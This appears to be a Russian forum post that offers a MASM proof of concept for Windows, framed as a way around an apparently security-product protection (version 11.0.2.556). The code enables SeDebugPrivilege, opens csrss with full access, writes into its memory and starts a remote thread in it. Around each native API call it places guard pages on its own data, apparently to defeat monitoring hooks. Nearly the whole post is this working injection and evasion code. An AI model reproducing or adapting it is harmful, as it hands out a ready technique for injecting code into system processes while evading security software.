Былобы что там обходить, вот пруфкод запилите(создаём удалённый тред в csrss, 11.0.2.556):
; NtOpenProcess CID
; NtCreateThread CONTEXT
; NtAdjustPrivilegesToken PTOKEN_PRIVILEGES NewState
; NtWriteVirtualMemory SrcBuffer (Arg:3)
; ...
.686
.model flat, stdcall
option casemap :none
include \masm32\include\ntdll.inc
includelib \masm32\lib\ntdll.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
CsrGetProcessId proto
_imp__ExitThread proto :NTSTATUS
%NTERR macro
.if Eax
Int 3
.endif
endm
.data
NewPrivileges TOKEN_PRIVILEGES <>
ClientId CLIENT_ID <>
Buffer DWORD 123H
Context CONTEXT <>
.code
%GUARD_PAGE macro
invoke ZwProtectVirtualMemory, NtCurrentProcess, addr RegionBase, addr RegionSize, PAGE_READWRITE or PAGE_GUARD, addr OldProtect
%NTERR
endm
INITIAL_TEB struct
OldStackBase PVOID ?
OldStackLimit PVOID ?
StackBase PVOID ?
StackLimit PVOID ?
StackAllocationBase PVOID ?
INITIAL_TEB ends
assume fs:nothing
Entry proc
Local RegionBase:PVOID, RegionSize:ULONG, OldProtect:ULONG
Local PsHandle:HANDLE, ThreadHandle:HANDLE, Cid:CLIENT_ID
Local Token:HANDLE, ObjAttr:OBJECT_ATTRIBUTES
Local StackBase:PVOID, StackSize:ULONG, _Length:ULONG
Local InitialTeb:INITIAL_TEB
mov RegionBase,offset NewPrivileges
mov RegionSize,PAGE_SIZE
invoke ZwOpenProcessToken, NtCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr Token
%NTERR
mov NewPrivileges.PrivilegeCount,1
mov NewPrivileges.Privileges[0].Luid.LowPart,SE_DEBUG_PRIVILEGE
mov NewPrivileges.Privileges[0].Luid.HighPart,NULL
mov NewPrivileges.Privileges[0].Attributes,SE_PRIVILEGE_ENABLED
%GUARD_PAGE
invoke ZwAdjustPrivilegesToken, Token, FALSE, addr NewPrivileges, sizeof NewPrivileges, addr NewPrivileges, addr _Length
%NTERR
mov ClientId.UniqueThread,eax
mov ObjAttr.uLength,sizeof(OBJECT_ATTRIBUTES)
mov ObjAttr.hRootDirectory,eax
mov ObjAttr.uAttributes,eax
mov ObjAttr.pSecurityDescriptor,eax
mov ObjAttr.pSecurityQualityOfService,eax
mov ObjAttr.pObjectName,eax
invoke CsrGetProcessId
mov ClientId.UniqueProcess,eax
%GUARD_PAGE
invoke ZwOpenProcess, addr PsHandle, PROCESS_ALL_ACCESS, addr ObjAttr, addr ClientId
%NTERR
mov StackBase,eax
mov StackSize,PAGE_SIZE*16
invoke ZwAllocateVirtualMemory, PsHandle, addr StackBase, 0, addr StackSize, MEM_COMMIT, PAGE_READWRITE
%NTERR
add StackBase,PAGE_SIZE*16 - 3*4
%GUARD_PAGE
; test write.
invoke ZwWriteVirtualMemory, PsHandle, StackBase, addr Buffer, 4, NULL
%NTERR
mov ebx,StackBase
mov ecx,dword ptr [_imp__ExitThread]
add ebx,4
mov Context.ContextFlags,CONTEXT_ALL
mov Context.regEsp,ebx
mov Context.regEip,ecx
mov Context.regSegCs,KGDT_R3_CODE or RPL_MASK
mov Context.regSegDs,KGDT_R3_DATA or RPL_MASK
mov Context.regSegEs,KGDT_R3_DATA or RPL_MASK
mov Context.regSegFs,KGDT_R3_TEB or RPL_MASK
mov Context.regSegSs,KGDT_R3_DATA or RPL_MASK
add ebx,2*4
%GUARD_PAGE
mov InitialTeb.OldStackBase,eax
mov InitialTeb.OldStackLimit,eax
mov InitialTeb.StackBase,ebx
sub ebx,PAGE_SIZE*16
mov InitialTeb.StackLimit,ebx
mov InitialTeb.StackAllocationBase,ebx
invoke ZwCreateThread, addr ThreadHandle, THREAD_ALL_ACCESS, addr ObjAttr, PsHandle, addr Cid, addr Context, addr InitialTeb, FALSE
jmp $
ret
Entry endp